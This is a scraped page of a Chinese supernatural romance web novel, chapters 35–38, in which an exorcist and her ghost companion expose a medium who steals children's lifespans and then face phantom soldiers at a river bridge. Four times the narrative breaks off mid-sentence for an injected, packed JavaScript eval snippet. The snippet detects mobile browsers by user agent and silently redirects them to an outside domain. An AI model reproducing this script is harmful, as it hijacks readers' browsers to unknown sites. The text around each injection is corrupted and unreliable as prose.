她摸出罗盘按在男孩眉心,不出片刻,男孩脸上惊惶的神色渐渐淡去,林知夏柔声问,“告诉姐姐,你从什么时候开始可以看到奇奇怪怪的东西的?” 男童一脸懵懂,孩子奶奶抢先说,“也不知道怎么搞的,之前是见天的哭,一到夜里就哭,怎么哄都不行,后来突然就开始满嘴说胡话,有时候真就吓死个人,带他跑了好几家医院做检都查不出病因,他爸妈爷爷白天要上班,我是不错眼的盯,就怕孩子出事。” 林知夏:“您还记得他是从哪天开始胡言乱语的吗?” 老太太回忆了片刻说,“得有一个多星期了。” 宴清指尖凝出幽冥火蝴蝶,绕着男孩飞了三圈:“七日前的亥时,有人给他喂过符水。” 林知夏立即转向老太太:“我看您家里玩具上都贴了符纸,家里也烧香,孩子胡言乱语前有没有接触过比较特别的人?” “隔壁村的黄婆婆……”老太太一脸气愤的说,“她是远近闻名的问米婆,孩子在医院查不出病因,一到晚上就不安生,哭得撕心裂肺的,这么下去孩子身体哪受得了哦。我想着是不是撞上什么东西了,就去请黄婆婆给孩子看看事儿。她跟我说孩子是撞上脏东西了,那东西想要他的命,我吓得不行,她怎么说我怎么做,烧香磕头都是小事,让孩子喝符水我也没二话!结果孩子夜里倒是不哭了,但开始说胡话了,总说有眼睛盯着他,又说有什么人看着他,你说这好了一样又添了一样,还更严重了,根本治标不治本啊,要不是黄婆婆年纪大了,我肯定和她没完!” 说着顿了顿,“林大师啊,你说我家孩子是不是开天眼了?不是说小孩子八岁前最容易那什么通灵吗?” 林知夏:“如果是先天阴阳眼,孩子很小的时候你们应该就可以察觉到。后天开眼的话分两种情况,一种是暂时的,一般只可以维持24小时左右,一种是长期的,长期的这种对命格有要求,必须是童子命格才可以。” 童子命可不是什么好命格,这种命格的人一般都活不到成年,周老板姑妈听到赶忙说,“我家宝宝不是童子命,他刚生下来人家就给他算过,是大富大贵的命格。” 宴清不屑,“这孩子分明是土猴托生,哪来的大富大贵!” 林知夏瞥他一眼,从帆布包取出雷击枣木尺,尺面殄文触及男孩后颈时突然发烫。她利落地解开孩子衣领,后颈果然有个米粒大的血痂。老太太见了还疑惑,“这什么时候挠破的?” 林知夏怕吓到她,根本不解释,只问,“您跟我说说黄婆婆的地址,我过去瞧瞧。” 周老板姑妈也不笨,人家反应很快,“林大师,是不是黄婆婆对我家孩子做了什么?” 林知夏:“暂时不确定,您先跟我说地址吧。” *** 暮色漫过青石巷,林知夏脚步停在“黄记香烛铺”的玻璃橱窗前。手机屏幕映着斑驳砖墙,导航语音还在循环提醒“您已到达目的地”。 周老板姑妈说的这家店实在难找——夹在奶茶店和网红手作店中间,门头挂着褪色的蓝布幌子,不仔细看还以为是家卖汉服的的小店。 “这风水局有意思。”她屈指叩了叩玻璃,倒映的霓虹灯牌突然扭曲成符咒形状,“坎位摆招财树,震位放八卦镜,看着像正经道场……” “可惜是反着摆的。” 宴清在她耳畔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400632|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下后半句。 男人瞳孔映着橱窗里的纸扎童男童女,不无讥讽的说道,“镜面煞直冲明堂,鱼缸水位高过神龛——这店主不是蠢,就是存心招邪。” 林知夏正准备推门进去,玻璃门里突然出来个粉色头发的姑娘,举着自拍杆差点撞进她怀里。 “家人们谁懂啊!”粉发姑娘对着手机镜头手舞足蹈,“黄阿嬷说我三个月内必脱单……哎呦小姐姐,麻烦让让!" 林知夏侧身避开横扫的自拍杆,瞥见女孩印堂浮着层青灰。刚要开口提醒,晏清道,“看她耳垂。” 只见两枚小巧的泰国佛牌在粉发间若隐若现,牌面阴刻的婴孩五官正渗出暗红血丝,那血丝,肉眼不可见。 “拍婴?”林知夏倒吸凉气。拍婴是泰国众多佛牌中的一种,比较偏门,对外宣称可以防小人,增加人缘、财运之类的,其实这种南洋邪物专食人气运,正经玄门绝不会碰。 一饮一啄,天下哪里有白吃的午餐!你得到了想要的好处,必定也要付出相应的代价,这是世界守恒定理,没有例外可言。 粉发姑娘走出没多远突然踉跄着扶住电线杆,手机啪嗒摔到地上。林知夏刚要上去扶,香烛铺里冲出个穿靛蓝布衫的老太太,枯爪攥着把糯米就往女孩身上撒。 “作死哦!”老太太操着浓重闽南口音,“早说让你把佛牌扔海里……” 糯米触及佛牌的瞬间炸出火星,粉发姑娘已经翻起白眼。林知夏当机立断甩出墨斗线缠住她的手腕,鲁班尺重重拍在她后颈的同时口中念咒:“天地玄宗,万炁本根——破!” 下一瞬,佛牌裂开蛛网状纹路,黑雾裹着婴啼冲天而起。晏清广袖翻卷,幽冥火凝成笼子兜头罩下。老太太趁机将朱砂拍在姑娘眉心,气喘吁吁叹气,“不听老人言,吃亏在眼前,作孽哟!” 林知夏看着眼前这位据说已经有八十五高龄的老婆婆,讲真,有点惊讶。来之前,以为会见到一个满脸阴森可怖,跟鬼片里的那种老婆婆似的很吓人的长相,结果,眼前的老婆婆慈眉善目,看上去根本不像个坏人,反而挺可亲。 虽然以貌取人是大忌,但真的,这长相真的真的不像个坏人啊! “问米问出恶鬼债,烧香烧成引魂幡。”晏清语气不屑,“这种半吊子也敢称问米婆。” 林知夏心说可不是吗,白不怕黑不怕,就怕这种不白不黑的半吊子! 粉发姑娘幽幽转醒时,香烛铺二楼飘来普洱茶香。黄阿嬷摘下老花镜擦拭神像,絮絮叨叨说起了问米行当的渊源。 “我们这行祖师爷是临水夫人,唐朝那会儿叫‘白母教’。”老阿婆将糯米糍粑推给林知夏,“正经问米要设三牲六畜,请神词得用古闽语唱……现在年轻人图快,我跟她说不要戴这个什么佛牌,偏不听,唉。” 林知夏摩挲着茶杯沿口,忽然问:“阿婆,陈大姨家的小孙孙宝宝是不是你给开的天眼?” 36. 问米婆(二) 黄阿嬷擦拭神像的手顿了顿,浑浊眼珠在镜片后微微转动:“小囡说话要有证据,我黄翠萍做问米婆四十年,从来不做害人的勾当。” “您这铺子,”林知夏将五帝钱压在桌面,“坎位摆招财树,震位挂八卦镜,看着是镇宅的格局。”她突然翻转罗盘,黄铜磁针疯狂打转,“可惜树是槐木雕的,镜是阴面朝外——阿婆这是要引魂还是招煞?” 黄阿嬷枯枝般的手指突然攥紧佛珠,檀木珠子在虎口勒出深痕:“年轻人火气旺,说话要当心。前些年对面起高楼,把明堂堵得严实,不摆个颠倒乾坤局,我这把老骨头早被煞气冲散了。” 晏清倚着门框轻笑,玄色锦袍暗纹在暮色里泛着冷光:“镜面煞改作聚阴阵,倒是物尽其用。”他指尖捻起柜台上供奉的香灰,在玻璃台面画了个反八卦,“可惜画虎不成反类犬。” 林知夏余光瞥见香灰痕迹,心头微动。正要细看,楼梯传来急促脚步声,先前昏厥的粉发姑娘突然冲进来着急忙慌握住黄阿婆的手,“阿嬷!我直播间被封了!” 林知夏心说封你就对了,用拍婴就该有被反噬的自觉。现在还只是封直播间,后边很长一段时间都别想有好运气,倒霉就算了,身体也会相继出一些问题,不要命,但肯定不好过,这种情况不折腾个三俩月就不可能消停。 这是因果业报,非人力所能改。 “早说过这阴物沾不得!”黄阿嬷满脸无奈,“小鹿啊,阿嬷现在帮不到你了,最近自己小心点,多注意安全,能待在家里就待在家里,没事别乱跑。” 粉发姑娘听了简直晴天霹雳,“阿嬷,我刚和公司签约,现在直播间一封,如果不尽快解封的话我就完了!阿嬷你再帮帮我,求你了,我家里情况你也知道,我赔不起违约金的!” 黄阿嬷那张慈祥的脸显出几分不忍,最后妥协似的说道,“你先回去,我想想办法,最迟明天给你答复好吗?” 粉发姑娘最终依依不舍的离开了小店,林知夏好奇的问,“阿嬷,她是业力反噬,你能怎么帮她?” 黄阿嬷:“小鹿是个好孩子,爹妈没得早,是爷奶带大的。高中时小鹿爷爷病重去世,留下身体不好的奶奶,别看她头发染得花里胡哨的,其实很乖很孝顺,学习也好,要不是家里原因,现在至少也能读所好大学。” 林知夏挑眉,“所以?” 黄阿嬷看着她,一脸严肃,“她用佛牌不是真的贪心,她只是想给奶奶看病,想让唯一的亲人过上好一点的日子。” 林知夏眨眨眼,有些好笑,“阿嬷,幸福的人千篇一律,不幸的人各不相同。她的遭遇我深感同情,但有些捷径真的不能走,沾上了,就该为自己的选择付出代价。你和我说她的身世,是想博取我同情吗?很抱歉,我可能比较铁石心肠,我不觉得在这件事上她无辜。” 黄阿嬷皱眉,“小囡你生来富贵,当然不懂贫苦人的无奈。” 林知夏心说这怎么还搞上出身歧视了? 面前的老太太不会是想PUA自己吧? 而且她也很可怜好伐!论惨,谁比谁惨可不一定! 林知夏的罗盘从进入这间店开始就一直在剧烈震颤,天池磁针在“离”“坤”位来回摆动,可见店内磁场有多么紊乱。 她余光顺着宴清放出的幽冥火镜移动,镜中照出供桌下的铜盆,铜盆里浮着几缕毛发,水面倒映的烛光泛着诡异的青绿。 灵光一闪,结合周老板姑妈家的小孙孙后脖颈的米粒大小血痕,好吗,这是典型的“借命灯”格局啊! 所谓的借命灯格局,就是用童男童女的发丝做引,配以阴阳五行生辰八字,从而偷他人阳寿补自身阴德。 这招太损了! 小孩子何其无辜! 难怪给周姑妈家的宝宝强行开了阴阳眼,难怪宝宝总说能看到血眼睛,阴阳眼通阴阳,小孩子阳气弱,胆子小,长期被阴物恐吓,必定命格不稳,这样一来太方便被夺取寿命了。 想到这里林知夏就不忍了,怒而拍桌,“你这么大岁数了偷孩子阳寿,亏心不亏啊!” 黄阿嬷显然没想到自己暴露的这么快,还有些回不过神,见林知夏手中墨斗线甩向供桌那里,惊呼一声,以她这个年纪不可能达到的速度和灵活度一跃而起徒手抓住墨斗线,“小囡你别冲动,听我解释!” 林知夏:“解释什么!你就说你干得这事儿缺不缺德吧!” 黄阿嬷一点不觉得自己缺德,她理所当然的说,“我不是随便什么孩子的阳寿都取的,你说得宝宝,他是长寿之人,命格也不错,我只取他两年寿命而已,用两年寿命帮助像小鹿这样出身的可怜人,为他们挡去业力反噬,这不是皆大欢喜的事吗?” 林知夏听得都震惊了,“我看你是真的老糊涂了,这算什么皆大欢喜,人家好好的寿命凭什么要白白被夺走?你问过当事人的意见了吗?你取得人家监护人的同意了吗?人家本来能活到九十岁,凭什么要活到八十八岁?!我就不信谁还嫌自己命长的!你今年八十五了,我让你少活两年,明天就去死你同不同意!?” 黄阿嬷觉得眼前的女孩儿冷漠无情,“小囡,你太自私了,阿嬷活了这么多年,比你看得通透,听话,回去吧,今天我就当你没来过,你也不要妨碍我做善事帮助世间可怜人。” 林知夏:“……” 林知夏直接气笑了,合着人家还觉得自己发慈悲要放她一马呢! “你个老太婆慷他人之慨还上瘾了是吧!” 话音刚落,黄阿嬷布满皱纹的脸突然扭曲,供桌铜盆里的水面泛起涟漪,倒映出林知夏身后密密麻麻的血色眼睛。橱窗里的纸扎人偶发出“咯咯”笑声,原本慈眉善目的神像嘴角渗出黑血。 “小姑娘懂什么叫众生皆苦?”老太太枯爪拍在倒扣的八卦镜上,玻璃柜台突然翻转,露出密密麻麻的婴胎标本泡在福尔马林中,“这些孩子若能用残躯积点功德,倒是他们的造化!” 刺鼻的药水味扑面而来,林知夏被幽冥火裹着后退三步。二十三个泡发的胎儿蜷缩在玻璃罐里,脐带缠着写满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411403|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生辰八字的黄符,分明是南洋古曼童炼制的路数。 这个黄阿嬷不止夺活人孩子的阳寿,连这种已经成型的胎儿都不放过! 想到刚才离开的那个粉发姑娘,林知夏满脸厌恶,“那个小鹿的拍婴其实就是你给的!” 黄阿嬷神色冷厉,“我做善事,你捣什么乱!” 林知夏刚要驳斥,就听宴清在她耳畔道,“坎位槐木聚阴,震位反镜招煞,这老虔婆把整间铺子炼成了活人鼎。” 林知夏也是服气,她也懒得说废话了,直接甩出墨斗线缠住供桌腿,黄铜罗盘“咔”地嵌入地板裂缝:“乾三连西北破天,坤六断西南八门——给我现!” 地板应声炸裂,露出底下五口倒扣的陶瓮。腐臭的黑水中浮着缠红线的骷髅头,天灵盖刻着五鬼运财咒。最骇人的是瓮口封着的黄裱纸,赫然印着市政规划局的公章。 “难怪对面商业楼烂尾三年。”林知夏桃木剑挑破陶瓮,腥臭液体中游出十几条血红蜈蚣,“用公门正气压五鬼反噬,倒是好算计!” “小心!” 晏清突然揽住她旋身,玄色衣袖扫落不知什么时候跑出来的古曼童。那泡发的婴尸咬住他袖摆,尖牙在暗金云纹上磨出火星。林知夏趁机将五帝钱拍进骷髅眼眶,反手用鲁班尺劈开窗棂:“天光破邪!” 夕阳光线透入的刹那,整面货架的香烛符纸自燃起来。黄阿嬷尖叫着扑向神龛,枯爪刚碰到那尊渗血的神像,突然被幽冥火顺着指尖烧上臂膀。 恰在此时,神像突然睁眼。泥塑的瞳孔转成血红,供桌下的陶瓮碎片自动拼成张女人脸,嘴角咧到耳根:“小丫头坏我好事——” “聒噪。”晏清屈指出深色幽冥火,火苗撞上神像眉心,那泥胎立即发出活人般的惨叫,从裂纹中渗出大量头发般的黑色菌丝。 林知夏眼光毒辣,她看到那些黑色菌丝直接倒抽冷气,“是太岁肉!这老虔婆把太岁养在神像里!” 地板缝隙涌出的菌丝疯狂生长,眨眼间缠住林知夏脚踝。晏清并指划开她裤脚,寒气顺着小腿攀上膝弯:“闭气!” 冰凉手掌捂住她口鼻的瞬间,菌丝团里爆开青烟。林知夏看到菌群中浮现出五张熟悉的脸——与在周老板姑妈家看到的全家福一一对上! “借命灯连着的不是孩子……”她突然醒悟,“是全家人的生气!” “现在知道太晚了!”黄阿嬷癫狂大笑,皱纹里钻出细小白菇,“等太岁吃完这家子,老婆子我就能……” 就能什么,她却没有机会说全了。幽冥火凝成的箭矢洞穿她眉心,晏清揽着林知夏跃上房梁:“跟将死之人废什么话。” 菌丝在光线下剧烈抽搐,那尊太岁神像突然胀成肉球。林知夏从挎包里翻出浸过黑狗血的渔网罩住菌群,咬破指尖在桃木剑身画出雷纹:“玉清始青,真符告盟——雷来!” 惊雷劈碎屋顶的刹那,晏清忽然贴着她耳垂轻笑:“娘子这道家雷法好生厉害,吓到为夫了呢!" 林知夏:“……” 37. 阴兵借道(一) 暴雨冲刷着香烛铺的青瓦屋檐,林知夏踩着满地菌丝残骸,看晏清用幽冥火将最后一缕太岁菌焚成灰烬。空气中弥漫着焦糊味,混着之前的普洱茶香竟显出几分荒诞。 “这黄翠萍活到八十五岁,竟以为把自己炼成太岁鼎就可长生。”晏清指尖拂已经不成型的泥塑神像,鎏金瞳孔映着满地狼藉,“痴人说梦。” 林知夏将泡发的婴胎标本一一收进帆布袋,闻言抬头:“也不算痴人说梦吧,人家利用这个硬生生多活了二十年呢!” 宴清讥讽的牵牵嘴角,“娘子莫非以为这种延寿跟吃饭睡觉般毫无痛楚?” 林知夏迟疑:“要遭罪的?” 宴清一脸的‘要不然呢?’,“你没瞧见她脸上的白孢子?但凡逆天改命,都要承受相应的业报。道家的一些正统延寿局最多延寿半年都已是极限,邪法最多五年,这些虽无多少痛苦,却要损阴德,报应在自身与至亲身上,或早或晚必有反噬,便是到了地府,也要受到责罚。黄翠萍此人借助太岁邪术夺他人寿命,每多活一年就要承认翻倍的反噬与肉·身痛楚,不然她为何要利用佛牌慷他人之慨做所谓的善事?她不知常在河边走,哪有不湿鞋的道理?” 林知夏恍然大悟,“原来如此,涨知识了。” 这些是她从未接触过的领域,以前父亲和三叔公也没教过她,家族手札提及的也少,有鬼君宴清在身边,好处还是不少的,至少他懂得真的很多,遇到什么道法邪术都能说出个三六九出来。 将最后一个婴胎标本收入袋中,林知夏跟宴清商量,“这些古曼童挺可怜的,我想把他们送到隔壁市的观音寺超度,等超度好送他们重入轮回。” “娘子总是这般心善。”玄色衣袖扫过她发梢,晏清弯腰将她拉起,“既如此,为夫也只能陪你走一遭了。” 林知夏唇角微弯,“鬼君人美心善,多谢啦。” 宴清睇她一眼,“人美?” 林知夏忽闪着她漂亮的大眼睛,笑眯眯说,“我第一次见你时,就被你的长相惊艳到了。” 宴清轻哼一声,“原来娘子对为夫见色起意一见钟情。” 林知夏:“……”想说你加什么戏,咱俩初见你个鬼我能见色起意一见钟情吗?我又不是花痴脑子不清醒。 但想想,看着他傲娇的连脊背都好似挺直了三分的样子,到嘴的话又咽了回去。 算了,不说了,他高兴就行。 一切收拾好,宴清先用幽冥火将店里东西焚烧殆尽,之后撤去结界,隐匿两人身形离开。 从外面看,这还是那间普普通通的香烛店,好似和以往没什么不同,即使有心人发现这里人去楼空,也只会多些臆想和猜测,最多和警方报个失踪,再无别的线索。 因为幽冥火将这店里所有东西烧的真的渣都不剩,太干净了。 *** 观音寺的银杏叶铺满了青石台阶,林知夏将装着婴胎标本的帆布包递给知客僧。暮鼓声里,老住持拨动念珠的手顿了顿:“这些孩子怨气缠足,超度需做七场水陆法会。” “劳烦大师。”林知夏双手合十,余光瞥见晏清正倚在放生池边逗弄乌龟。玄色锦袍扫过石栏青苔,银发被秋阳镀了层金边,视觉冲击力直接拉满。 “小夏你这位朋友……”老住持欲言又止。 林知夏没想到主持竟然可以看到隐形的宴清,有些惊讶,但依然面不改色扯谎,“修的是鬼道,您放心,他的心是善的,不做恶事。” 老住持长叹一声,从袖中摸出串沉香木佛珠:“十月初一将近,地脉动荡。老衲昨夜观星,见紫微垣隐有血光——近日若见百鬼夜行,切记避开子时三刻的阴兵借道。” 林知夏接过佛珠笑着道谢,她爸爸跟主持是忘年交的好友,双方关系一直不错。观音寺的素斋做得特别好吃,小时候她没少跟着爸爸来这边蹭吃。主持是看着她长大的,他们之间的情谊没必要赘述太多,按世俗算,老主持其实是她的长辈,可以喊伯伯的那种。 *** 回程的高速公路上,林知夏接到了周老板的感谢电话,林大师不仅解决了他家的问题,姑妈家的问题也一并解决了,这是真高人,必须维系好关系。 双方你来我往简单聊了几句,林知夏以在开车为由很快挂了电话。电话切断,余光看到副驾上宴清正把玩那串佛珠,鎏金瞳孔映着仪表盘蓝光,:“老和尚倒有几分眼力。” 林知夏:“为什么主持伯伯可以看到你?” 宴清对此反应平平,“那是真高僧,双眼可看破世间万千迷障,我为鬼,是邪物,自然逃不过他那双招子。” 林知夏得到答案就没继续这个话题。 她降下车窗,任秋风卷走额角薄汗,“阴兵借道……《撼龙经》里说‘地气翻涌,百鬼夜行’,难道和最近频繁的地震有关?” “地龙翻身不过表象。”宴清指尖燃起簇幽冥火,火光中浮现出纵横交错的金色地脉,“有人动了黄泉九曲阵的阵眼。” 林知夏皱眉,她在前面路口下了高速,之后踩下刹车在路边停靠。转头盯着虚空中的地脉图——代表黄河故道的金线正在扭曲成反八卦形状。 “之前咱们在第三道弯取的龙骨……这时地脉翻涌,对龙魂有没有影响?” 宴清知道她担心什么,袖摆扫过中控台,车载导航突然切换成了星象图,他修长如玉的指尖在其中一截停住,淡笑道,“九星连珠在即,有些魑魅魍魉大概坐不住了,不过无碍,为夫取不到龙魂,旁人更不可能。” 手机铃声突兀响起,陈老板打来电弧,他语气显得有些惊惶又有些激动,“林大师,我给您发一段视频您看看!” 电话挂断,视频很快发来。 点开,镜头先是剧烈晃动,之后逐渐稳下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426497|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>深夜的跨江大桥上,浓雾中隐约可见披甲执锐的虚影列队而行。拍摄者惊恐的喘息与铜铃般的马蹄声交织,最后定格在桥墩处血红的“祭”字上。 “这是昨晚拍到的!”陈老板的语音信息里带着颤音,“我外甥跑夜班货运遇到的,说是雾散后桥面结满了冰碴子,三十七度的天啊!林大师,您说这是不是真的?” 林知夏给他简单回了个:好奇心害死猫,就不搭理他了。 她放大视频细节,发现阴兵铠甲上刻着模糊的仿似“天启”的字样。正要找宴清探讨一下,他忽然扣住她手腕:“娘子将沈氏送的星象图放出来瞧瞧。” 墨玉戒应声发烫,戒面莲纹游走到虎口位置。林知夏眼前浮现出黄河古道星象图,原本完整的星轨竟在江桥方位出现断裂。 “这什么情况?”她问。 宴清指尖划过她掌心纹路,“明晚子时,为夫带你看场大戏。” ** 秋雨拍打在老宅的窗棂上,林知夏对着八仙桌铺开的二十八宿镇妖符发呆。朱砂混着雄鸡血在黄表纸上洇出暗金纹路,宴清倚着门框削桃木钉,银发梢沾上了雨滴也不在意。 说起来他是真牛叉,市面上能找到的驱鬼辟邪的东西对他好像都没什么影响。说是鬼,他可比鬼无敌多了。就如现在,鬼王都不喜,能不碰就绝对不会挨上一星半点的桃木,人家削起来比普通人削铅笔还轻松,甭提多得心应手了。 见她眼巴巴的看自己,宴清淡淡道,“九星移位该用紫薇讳,娘子画个反八卦是打算以煞冲煞?”他随手抛来枚刻着殄文的枣木钉,“钉在震位,可抵三成阴气。” 林知夏反手接住木钉,“阴兵过境讲究‘生人退避’,我们若强行设阵……” “那就让他们绕道。”宴清瞬移至她身后,玄色衣袖卷着雨汽笼住桌案。冰凉指尖覆上她执笔的手,带着朱砂笔在符纸空白处勾出龙纹:“幽冥九转,红莲并蒂——这般画才对。” 沉水香混着透满寒意的体温侵染后颈,林知夏笔尖一抖,龙尾险些画成波浪线。正要嗔怪,耳垂倏地被不轻不重咬了下:“分心的小娘子,该罚。” “你!”林知夏手肘后撞,却被他顺势揽住腰肢。桃木钉哐当落地,满桌符纸被幽冥火托上半空,在雨中燃成数百盏莲灯。 宴清扳过她羞恼的脸,鎏金瞳孔跳动着幽蓝火苗:“娘子秀色可餐,为夫不过是顺应本心罢了,何须动怒?”最后五个字淹没在唇齿间,雨声忽然变得遥远,须臾,双唇分开,林知夏望着他唇上沾的朱砂,鬼使神差凑近了些,小心的一点点舔去,然后好似意识到自己到底做了什么后,捂着脸趴桌子上不动了。 宴清只是怔了怔,眼底漫上笑意。指尖拂过她红透的耳尖,俯身强势的抬起她的下颌,重新将未尽的话语封缄。 二十八宿莲灯在雨中盘旋成星图,将相拥的身影映得忽明忽暗。 38. 阴兵借道(二) 晚上十一点钟,秋雨裹着银杏叶扑簌簌砸在挡风玻璃上,雨刮器划出的扇形水痕里,跨江大桥的轮廓远远看去若隐若现。 导航显示距离跨江大桥还有1.5公里,车载广播里突然插播紧急新闻:“受地磁暴影响,本市今夜可能出现极光现象——” “地龙翻身的前兆。”晏清倚在副驾驶闭目养神,他今天不再是长袍广袖,而是幻化了一身西装三件套,银发高高束起,既像斯文败类,又如谁家的偏偏佳公子,帅的不要不要的,十分养眼。 玄色暗纹衬衫的袖口露出半截苍白手腕,他睁眼看她,“娘子可听过‘地气冲霄,阴兵开道’?” 林知夏瞥了眼后视镜里的青皮灯笼——这是用槐树皮裹着幽冥火做的引路灯,此刻正泛着幽幽蓝光,她说,“我只知道《撼龙经》里说‘戌时地气涌,百鬼夜行凶’。”她指着远处不容忽视的一团黑雾,“坎位煞气冲天。凝成黑雾了都,果然很凶。” 晏清轻笑一声,“桥底沉了三具镇河尸,你说凶不凶。”视线扫过桥面水渍,似透过那里看到了什么,片刻,嘴角轻撇,补充道:“民国二十七年,有术士用童男童女填了桥基。” 林知夏闻言直接靠边踩了刹车,轮胎在湿滑路面擦出刺耳声响。前方,浓雾正以肉眼可见的速度漫过隔离带,几乎要将整座大桥吞入混沌。 “童男童女?” 宴清嗯,“若非以前填了活牲,此处大桥而今哪里建得起来。” 林知夏蹙眉,来之前她特意查过,这座跨江大桥是上世纪九十年代建成,据说工程异常顺利,一般建桥会遇到的问题这座桥通通没有遇见,从开始到结束,几乎称得上工程奇迹。 这在这种体量的大工程中实属罕见,何况是上个世纪很多技术都不算成熟,器械也不算先进的情况下。 现在看来,是前人栽树后人乘了凉。 但想到是填了幼童活牲,心里难免有些别扭。 不过这都已经是过去式了,过多纠结没有意义。况且看眼前情形,活牲带来的作用明显已经岌岌可危。 重新启动车子,结果前行不到二百米就被交警拦住了,交警说今晚要临时封桥检修,请市民配合绕行。 作为一名遵纪守法的好公民,林知夏当然不会跟交警叔叔呛呛,她特乖觉的在交警指挥下调了车头,拐上旁边路段。 车子最终停在了距离跨江大桥不远不近的一处江岸。 雨珠顺着车窗蜿蜒成符咒形状,林知夏捻起一枚五帝钱按在玻璃上:“我看检修是假,镇煞是真。”世上不乏能人异士,桥上煞气那么重,被发现报告给官方,官方临时管控很正常。 她转头看向晏清,“应该是有人看出端倪了。” “看出又如何?”晏清漫不经心的把玩着她手指上的墨玉戒,戒面并蒂莲纹在夜色里泛着幽光,“子时三刻阴兵借道,这桥注定要见血。” 林知夏:“……”那还是不见血比较好。 前面有交警,想上桥只能用非常手段。 后视镜里,江面开始泛起诡异的青灰色,晚风裹着腥气穿过车窗缝隙,映得两岸路灯都显得昏暗了许多。 “坎位地气翻涌,震位水波倒流。”她指尖敲了敲仪表盘上的罗盘,黄铜磁针正在“离”“坤”位间剧烈震颤,“黄泉九曲阵的阵眼要真是这座桥,咱们今晚怕是要损坏公物了。”想到这个就有点心慌,已知有官方入场,万一掉了马甲,整不好要被拘留啊。 晏清挑起她一缕头发,引开她的注意力,“娘子可知九星连珠时,地脉会呈现何种异象?” “天枢移位,贪狼噬月。”林知夏边说边利落地将五帝钱串成手链,“但和阴兵借道有什么关系?” “看那里。”晏清指尖点向江心。 暗流涌动的江面突然浮出北斗状漩涡,七盏青铜灯顺着水流旋转,灯芯燃着幽蓝磷火。林知夏的墨玉戒骤然发烫,戒面并蒂莲纹直指漩涡中心,她蹙眉:“这是……黄泉引路灯?” “准确来说,是有人用九十九个溺死之人的魂魄炼制的引魂灯。”晏清推开车门,江风掀起他衣摆暗金云纹,“对方想借阴兵之力冲破地府封印。” 冲破地府……封印? 这么刺激的吗? 难怪观音寺的主持伯伯让她最近都避开子时三刻的阴兵借道,估计是怕她被牵连进去。 可惜时不与我,为了宴清重塑肉·身的伟大事业,别说是阴兵,刀枪火海也要冲啊! 林知夏抓起桃木剑跟着下车,她满脸好奇,“所以陈老板外甥拍到的阴兵不是地府的正规军?” “地府阴兵怎会是那个样子?”宴清道,“虾兵蟹将,不过是五百年前战死的倭寇罢了。” 倭寇? 小日子啊! 林知夏闻言,民族之魂瞬间燃起,她刚要发表意见,晏清突然揽住她的腰肢跃上半空,幽冥火在两人足下凝成莲台,“娘子可闻到了海腥味?” 海?这是江啊! 但咸湿气息确实混着腐臭味扑面而来,林知夏望向对岸烂尾的商业楼,这一看不打紧,刚刚还黑洞洞的烂尾楼突然灯火通明! 哇哦,闹鬼了! 有声音从不远处传来,玄门修行之人耳聪目明,何况林知夏身有龙骨,听力更好了。她听到那个陌生的男声大声喊着:“老铁们快看!江面竟然飘着古代的灯笼!我艹牛X啊!双击666,今天十月初一,听出鬼门大开,要将之前放出的鬼都收回去!我带大家——” “作死!”林知夏就很无语,这几天怎么老和网红打交道了,前有那个粉发姑娘小鹿,后有这个不知名的大兄弟,真是死也死不明白! 见她气呼呼的,宴清眼中含了笑意,“现代人最喜猎奇,与其为这个生气,娘子不妨猜猜,这江里会有多少冤魂冲着活人阳气来?” 林知夏:“……”合着那位不知名直播的仁兄被单方面当成诱饵了啊,哎,不对,她也是活人呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436731|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 林知夏有些无奈,刚要说什么,江心漩涡在此时突然炸开。披挂倭甲的身影踏浪而出,锈迹斑斑的武士刀劈开浓雾,腐臭的鱼腥气熏得人几欲作呕。林知夏的罗盘脱手飞出,之前的视频因为磁场原因拍得不是那么清晰,这时离近了看,“还真是小日子!” 晏清手掌翻转,幽冥火凝成长弓模样,这时还不忘逗她说话,“娘子猜猜这些倭刀上淬过什么?” 